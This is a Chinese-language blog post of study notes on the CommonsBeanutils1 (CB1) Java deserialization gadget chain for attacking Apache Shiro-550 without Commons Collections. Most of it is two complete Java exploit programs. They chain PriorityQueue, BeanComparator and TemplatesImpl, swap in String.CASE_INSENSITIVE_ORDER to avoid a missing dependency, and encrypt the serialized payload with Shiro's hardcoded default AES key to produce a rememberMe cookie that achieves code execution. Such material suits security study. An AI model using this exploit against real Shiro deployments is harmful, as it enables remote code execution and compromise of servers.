Java安全漫谈学习笔记9-CB1链

在shiro-550中,是没有CC库的,上篇中的demo是为了方便展示加上去的,当去掉cc库之后,我们该怎么去打?然后这个时候就翻到了shiro自带的一个依赖库:commons-beanutils库。在说这个库之前,我们先了解一下Java中的一个规范:JavaBean(普通Java类对象)

JavaBean:如果有一个类的私有属性叫k,那就有一个读取和设置这个属性的方法,称为getter和setter,比如getK,setK。

简单了解了这个规范之后再来了解这个cb库,这个cb库有一个静态方法PropertyUtils.getProperty,可以通过这个方法直接调用上面说的getter方法,

1
PropertyUtils.getProperty(new Cat(),"k");

这里会自动找到上面的getK方法,然后调用,获取返回值。同时,这个方法还支持递归获取,比如

1
PropertyUtils.getProperty(a,"b.c");

然后上一节我们用的是PriorityQueue里的Comparator接口,那这里能不能也找到一个这样的接口,是有的,叫做org.apache.commons.beanutils.BeanComparator。它的compare方法的底层逻辑是这样的:你给我俩个对象和一个属性名,我去自动调用这俩个对象的getter方法获取这个属性值,然后比较大小

而恰好之前学习字节码,TemplatesImpl中除了newTransformer能触发,还有一个getOutputProperties 也可以触发,这个正好就是getter。

利用链为:

PriorityQueue.readObject (优先队列排序) -> BeanComparator.compare (比较器提取属性) -> TemplatesImpl.getOutputProperties (自动调 Getter) -> 代码执行!

利用payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;

public class CB1 {
public static void setValue(Object obj, String field,Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code= Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRj" +
"L0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYW" +
"xpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25z" +
"BwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb2" +
"0vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9z" +
"dW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZG" +
"xlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwu" +
"amF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1" +
"RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMv" +
"cnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludG" +
"VybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEA" +
"FUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQ" +
"AVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAA" +
"AbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQ" +
"AKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAE" +
"sQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setValue(obj,"_bytecodes",new byte[][]{ClassPool.getDefault().get(Co.class.getName()).toBytecode()});
setValue(obj,"_name","gYppSHXH");
setValue(obj,"_tfactory",new TransformerFactoryImpl());
BeanComparator comparator=new BeanComparator();
PriorityQueue queue=new PriorityQueue(2,comparator);

queue.add(1);
queue.add(1);

setValue(comparator,"property","outputProperties");
setValue(queue,"queue",new Object[]{obj,obj});
// 1. 序列化 (生成恶意二进制流)
// 1. 创建一个字节数组输出流(容器)
ByteArrayOutputStream barr = new ByteArrayOutputStream();
// 2. 创建一个对象输出流(工人),并告诉它把数据写到上面的容器里
ObjectOutputStream oos = new ObjectOutputStream(barr);
// 3. 工人开始干活:把对象冻结(序列化)并写入容器
oos.writeObject(queue);
// 4. 关闭流(好习惯)
oos.close();

System.out.println("Payload 生成成功,长度: " + barr.size() + " 字节");
System.out.println("Base64 编码后的序列化数据:");
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.printf(ciphertext.toString());
// 2. 反序列化 (模拟服务端接收并解析)
// 这一行代码执行时,计算器就会弹出!
System.out.println("开始反序列化...");
ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = (Object)ois.readObject();
}
}

当我们用这个payload生成的数据发包时,失败了,tomcat输出

这是因为序列化是有版本号验证的,我们生成payload用的cb库和shiro服务器自带的库版本号不一致,这个也很好解决,把本地依赖版本号改一下就行了,改完了之后结果还是有问题

这是因为BeanComparator构造时如果不传第三个参数,他会默认借用cc库里的ComparableComparator来做底层对比,而shiro没有完整的cc库,这就导致服务端在初始化时崩溃。

那我们就想办法找这么一个类,它:

  • java.util.Comparator接口
  • java.io.Serializable接口
  • Java,shiro或者cb库自带,兼容性好

然后就找到了CaseInsensitiveComparator,它是java.lang.String下的一个内部私有类,属于是java的核心代码。这个类就是平时用来做字符串忽略大小写比较的,那现在用这个作为参数就可以了。

改了之后成功弹出计算器

然后注意queue.add的时候要把1改成字符串"1"

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;

public class CB1 {
public static void setValue(Object obj, String field,Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setValue(obj,"_bytecodes",new byte[][]{ClassPool.getDefault().get(Co.class.getName()).toBytecode()});
setValue(obj,"_name","gYppSHXH");
setValue(obj,"_tfactory",new TransformerFactoryImpl());
BeanComparator comparator=new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue queue=new PriorityQueue(2,comparator);

queue.add("1");
queue.add("1");

setValue(comparator,"property","outputProperties");
setValue(queue,"queue",new Object[]{obj,obj});
// 1. 序列化 (生成恶意二进制流)
// 1. 创建一个字节数组输出流(容器)
ByteArrayOutputStream barr = new ByteArrayOutputStream();
// 2. 创建一个对象输出流(工人),并告诉它把数据写到上面的容器里
ObjectOutputStream oos = new ObjectOutputStream(barr);
// 3. 工人开始干活:把对象冻结(序列化)并写入容器
oos.writeObject(queue);
// 4. 关闭流(好习惯)
oos.close();

System.out.println("Payload 生成成功,长度: " + barr.size() + " 字节");
System.out.println("Base64 编码后的序列化数据:");
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.printf(ciphertext.toString());
// 2. 反序列化 (模拟服务端接收并解析)
// 这一行代码执行时,计算器就会弹出!
//ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
//ObjectInputStream ois = new ObjectInputStream(bais);
//Object o = (Object)ois.readObject();
}
}

Java安全漫谈学习笔记9-CB1链
https://rightevil.github.io/Java安全漫谈学习笔记9-CB1链/
作者
rightevil
发布于
2026年5月4日
许可协议